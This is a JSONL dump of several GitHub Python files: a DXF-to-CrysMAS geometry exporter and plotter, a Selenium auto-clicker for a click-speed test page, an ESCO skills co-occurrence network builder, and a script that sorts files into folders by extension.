= open(crys_path, 'w')\n\n # Find extra information for CrysMAS\n x_vals, y_vals = zip(*self.verts.coordinates)\n x_max = max(x_vals)*scale_factor\n x_min = min(x_vals)*scale_factor\n y_max = max(y_vals)*scale_factor\n y_min = min(y_vals)*scale_factor\n num_points = len(self.verts.coordinates)\n num_lines = len(self.segments)\n\n # Write the max/min header\n line = '{} {} {} {}\\n'.format(x_min, x_max, y_min, y_max)\n crys_file.write(line)\n\n # Next write the number of points\n line = '{} points\\n'.format(num_points)\n crys_file.write(line)\n\n # Create dictionary for matching vertex coordinates to indicies\n v_dict = {}\n\n # Loop through vertices, assign indicies, and write to file\n for i, v in enumerate(self.verts.coordinates):\n v_scaled = (v[0]*scale_factor, v[1]*scale_factor)\n v_dict[v_scaled] = i+1 #Index is CrysMAS (i.e. starts at 1)\n line = '{} {} {}\\n'.format(i+1, v_scaled[0], v_scaled[1])\n crys_file.write(line)\n\n # Write the number of lines\n line = '{} lines\\n'.format(num_lines)\n crys_file.write(line)\n\n # Loop through segments, assign vertices, and look up vertices\n for i, seg in enumerate(self.segments):\n start_coords = (seg[0][0][0]*scale_factor, seg[0][0][1]*scale_factor)\n end_coords = (seg[0][1][0]*scale_factor, seg[0][1][1]*scale_factor)\n start_vert = v_dict[start_coords]\n end_vert = v_dict[end_coords]\n line = '{} {} {} 0\\n'.format(i, start_vert, end_vert)\n crys_file.write(line)\n\n # Close the file\n crys_file.close()\n\n print('Saving to CrysMAS geometry {}...'.format(crys_path))\n\n\n def display(self):\n '''\n Plots the current geometry but does not display it. In order to display\n the plot, a plt.show() call must be made after the display() method is\n used with plt of course being the matplotlib.pyplot module.\n '''\n def arc_points(bulge, center, radius, startangle, endangle):\n '''\n Creates a series of points that form an arc. Outputs series of x\n points and y points that form arc. Correctly accounts for the fact\n that the start angle could be larger than the end angle.\n '''\n # If the bulge is less than 0, arc must be defined clockwise\n if bulge > 0:\n angles = anglespace(startangle, endangle, num=50)\n else:\n angles = anglespace(endangle, startangle, num=50)\n x_vals = radius*np.cos(angles) + center[0]\n y_vals = radius*np.sin(angles) + center[1]\n return (x_vals, y_vals)\n\n def seg_plot(segment):\n '''\n Creates information for a plot from a segment\n '''\n # If segment is a straight line, this will evaluate true\n if not segment[1]:\n x_vals, y_vals = zip(*segment[0])\n # Otherwise extract the arc information and generate x,y points\n else:\n bulge = segment[1][0]\n startangle = segment[1][1]\n endangle = segment[1][2]\n center = segment[1][3]\n radius = segment[1][4]\n x_vals, y_vals = arc_points(bulge, center, radius, startangle,\n endangle)\n return (x_vals, y_vals)\n\n # Set up the plot space\n self.fig, self.ax = plt.subplots()\n\n # Plot the lines and arcs\n for seg in self.segments:\n x, y = seg_plot(seg)\n self.ax.plot(x,y, 'b')\n\n # Plot vertex locations\n x_coords, y_coords = zip(*self.verts.coordinates)\n self.ax.plot(x_coords, y_coords, 'ks')\n\n # Create the plot\n plt.axis('scaled')\n plt.draw() # Plot must be shown to be visible so after calling the\n\n print('Geometry for {} is queued for display...'.format(self.dxf_path))\n\n def pickle(self, f_name=None):\n '''\n Outputs the current geometry to a user-specified pickle file\n '''\n if f_name == None:\n f_name = self.dxf_name+'.pickle'\n\n # Dump the pickle to file\n fo = open(os.path.join(self.work_dir, f_name), 'wb')\n pickle.dump(self, fo)\n fo.close()\n\ndef main():\n print('''This file contains classes that are used to create a DXFGeometry\n object from a DXF file for then creating a computational mesh in either\n CrysMAS or Cats2D. Please run the MeshMaker.py file for usage\n information''')\n\n# Check whether the script is being excuted by itself\nif __name__==\"__main__\":\n main()","repo_name":"jhpeterson/DXFtoMesh","sub_path":"DXFtoSegments.py","file_name":"DXFtoSegments.py","file_ext":"py","file_size_in_byte":42441,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"42896241202","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.action_chains import ActionChains\nimport time\n\ndef MouseClicker(Driver,TimerCount,Clicks,TimerFrame):\n\n actions=ActionChains(Driver)\n\n while(TimerCount > 0):\n actions.move_to_element(Clicks).click().perform()\n TimerCount=Driver.find_element(By.CSS_SELECTOR,\".number_timer\")\n TimerCount=float(TimerCount.text)\n\n print(\"done\")\n score=Driver.find_element(By.CSS_SELECTOR,\".js-score\")\n cps=Driver.find_element(By.CSS_SELECTOR,\".js-speed\")\n print(\"-*MouseAutoClicker Test*-\")\n print(f\"------------------------------------ \\n Score: {score.text} \\n CPS: {cps.text} \\n\")\n \n usr_cmd=input(f\" Restart: [Y/N]: \\n\").upper()\n while(usr_cmd != \"N\" and usr_cmd != \"Y\"):\n usr_cmd=input(f\" Restart: [Y/N]: \\n\").upper()\n print(\"------------------------------------\")\n\n if(usr_cmd == \"Y\"):\n TimeFrame=input(\"Give the time Frame: \")\n while TimeFrame not in (1,3,5,10,15,30,60,100): \n TimeFrame=input(\"Give the time Frame: \")\n Driver.find_element(By.CSS_SELECTOR,\".js-try-again\").click()\n return MouseClicker(Driver,TimerCount,TimerFrame)\n\n\ndef SpaceClicker(Driver,TimerCount,TimeFrame):\n\n actions=ActionChains(Driver)\n\n while(TimerCount > 0):\n actions.send_keys(Keys.SPACE).perform()\n TimerCount=Driver.find_element(By.CSS_SELECTOR,\".number_timer\")\n TimerCount=float(TimerCount.text)\n\n score=Driver.find_element(By.CSS_SELECTOR,\".js-score\")\n sps=Driver.find_element(By.CSS_SELECTOR,\".js-speed\")\n\n print(\"-*MouseAutoClicker Test*-\")\n print(f\"------------------------------------ \\n Score: {score.text} \\n SPS: {sps.text} \\n\")\n\n usr_cmd=input(f\" Restart: [Y/N]: \\n\").upper()\n while(usr_cmd != \"N\" and usr_cmd != \"Y\"):\n usr_cmd=input(f\" Restart: [Y/N]: \\n\").upper()\n print(\"------------------------------------\")\n\n if(usr_cmd == \"Y\"):\n TimeFrame=input(\"Give the time Frame: \")\n \n while TimeFrame in (1,3,5,10,15,30,60,100): \n TimeFrame=input(\"Give the time Frame: \")\n\n Driver.find_element(By.CSS_SELECTOR,\".js-try-again\").click()\n SpaceClicker(Driver,TimerCount,TimeFrame)\n\n\n ","repo_name":"nano2003/AutoClicker-Selenium","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"3772846234","text":"\"\"\"\nBuilds a weighted, undirected network of essential skill pairs \nfrom occupations data. Saves network locally as pickle file. \n\nIn activated conda environment, run python build_network.py \n\"\"\"\n#####################################################################\n\nimport itertools\nfrom collections import Counter\nimport networkx as nx\nimport pandas as pd\n\nfrom utils.utils import (\n PROJECT_DIR,\n CONFIG_PATH,\n DATA_OUTPUTS_PATH,\n get_yaml_config,\n save_data,\n load_data)\n\n#####################################################################\n\n\ndef build_skills_network(occupations_data, edgeweight_prune_threshold):\n \"\"\"Builds undirected, weighted network of essential skill pairs\n from occupations data.\n\n Args:\n occupations_data (dict): A dictionary of ESCO occupations \n and skills data. \n edgeweight_prune_threshold (int): the minimum number of job titles\n the skills cooccur in. \n\n Returns:\n An undirected, weighted networkx graph. \n\n \"\"\"\n occupations = list(occupations_data.keys())\n all_pairs = []\n\n for occupation in occupations:\n job = occupations_data[occupation]\n if \"hasEssentialSkill\" in job['_links'].keys():\n required_skills = [x['title']\n for x in job['_links']['hasEssentialSkill']]\n sorted(required_skills)\n pairs = list(itertools.combinations(required_skills, 2))\n all_pairs.append(pairs)\n else:\n print(\"skills that have no hasEssentialSkill: \", occupation)\n\n all_pairs = Counter(itertools.chain(*all_pairs)).most_common()\n\n # create dataframe for network\n\n skill_pairs = [(record[0][0], record[0][1], record[1])\n for record in all_pairs]\n skill_df = pd.DataFrame(skill_pairs, columns=['node1', 'node2', 'weight'])\n\n # hacky way to deal with directionality issues - add the weights together\n skill_df_copy = skill_df.copy()\n node1list = skill_df['node1']\n node2list = skill_df['node2']\n skill_df_copy['node1'] = node2list\n skill_df_copy['node2'] = node1list\n\n skill_df_final = skill_df_copy.append(skill_df)\n skill_df_final = skill_df_final.groupby(['node1', 'node2']).sum().reset_index()\n\n # skills that cooccur in at least n job titles\n skill_df_pruned = skill_df_final[skill_df_final['weight'] > edgeweight_prune_threshold]\n\n # create weighted network with data\n G = nx.from_pandas_edgelist(skill_df_pruned, source='node1',\n target='node2',\n edge_attr='weight')\n\n return G\n\n\ndef prune_skills_network(G, bad_coefs):\n \"\"\"Prunes undirected, weighted network of essential skill pairs\n based on clustering coefficients. Removes nodes with low clustering\n coefficients i.e. highly transversal skills. \n\n Args:\n G (graph): An undirected, weighted networkx graph. \n bad_coefs (int): a low clustering coefficient threshold, based\n on clustering coefficient histogram. \n\n Returns:\n An undirected, weighted networkx graph. \n\n \"\"\"\n clustering_coefs = nx.clustering(G)\n\n # subset clusterng coefs based on being v low i.e. highly transversal skills\n nodes = list(clustering_coefs.keys())\n \n clustering_coefs_to_get_rid_of = []\n for node in nodes:\n if clustering_coefs[node] < bad_coefs: \n clustering_coefs_to_get_rid_of.append(\n {node: clustering_coefs[node]})\n\n clustering_coefs_to_get_rid_of = {\n k: v for el in clustering_coefs_to_get_rid_of for k, v in el.items()}\n \n print(f'removing {len(clustering_coefs_to_get_rid_of)} nodes based on clustering coef')\n\n # remove skill nodes based on clustering coef\n bad_skills = list(clustering_coefs_to_get_rid_of.keys())\n G.remove_nodes_from(bad_skills)\n\n return G\n\nif __name__ == \"__main__\":\n\n # get config file with relevant paramenters\n config_info = get_yaml_config(CONFIG_PATH)\n # path for occupation data\n data_path = config_info['occupations_data_path']\n # threshold for edge weight\n edgeweight_threshold = config_info['edgeweight_prunethreshold']\n # bad coefs based on graph\n bad_coefs = config_info[\"bad_coefs\"]\n # graph file name\n skills_graph_name = config_info[\"skills_graph_name\"]\n\n occupations_data = load_data(str(PROJECT_DIR) + data_path)\n skills_network = build_skills_network(\n occupations_data, edgeweight_threshold)\n pruned_skills_network = prune_skills_network(skills_network, bad_coefs)\n\n # save pruned graph locally\n save_data(pruned_skills_network, str(\n DATA_OUTPUTS_PATH) + skills_graph_name)\n","repo_name":"india-kerle/skills_taxonomy","sub_path":"src/build_network.py","file_name":"build_network.py","file_ext":"py","file_size_in_byte":4679,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"0"}
+{"seq_id":"21566488766","text":"import os\r\nimport shutil\r\n\r\npath = input(\"Enter the path of the folder you want to organize: \")\r\nlistOfFiles = os.listdir(path)\r\n\r\nfor file in listOfFiles:\r\n name,ext = os.path.splitext(file)\r\n extensions = ext[1:]\r\n if extensions == \"\":\r\n continue\r\n if os.path.exists(path + '/' + extensions):\r\n #we will move the file only\r\n shutil.move(path + '/' + file, path + '/' + extensions + \"/\" + file)\r\n else:\r\n os.makedirs(path + '/' + extensions)\r\n shutil.move(path + '/' + file, path + '/' + extensions + \"/\" + file)\r\n\r\nprint(\"Folder Organized Successfully!!!\")\r\n","repo_name":"inikunjrathi/Python","sub_path":"Python/backupFiles/fileOrganizer.py","file_name":"fileOrganizer.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}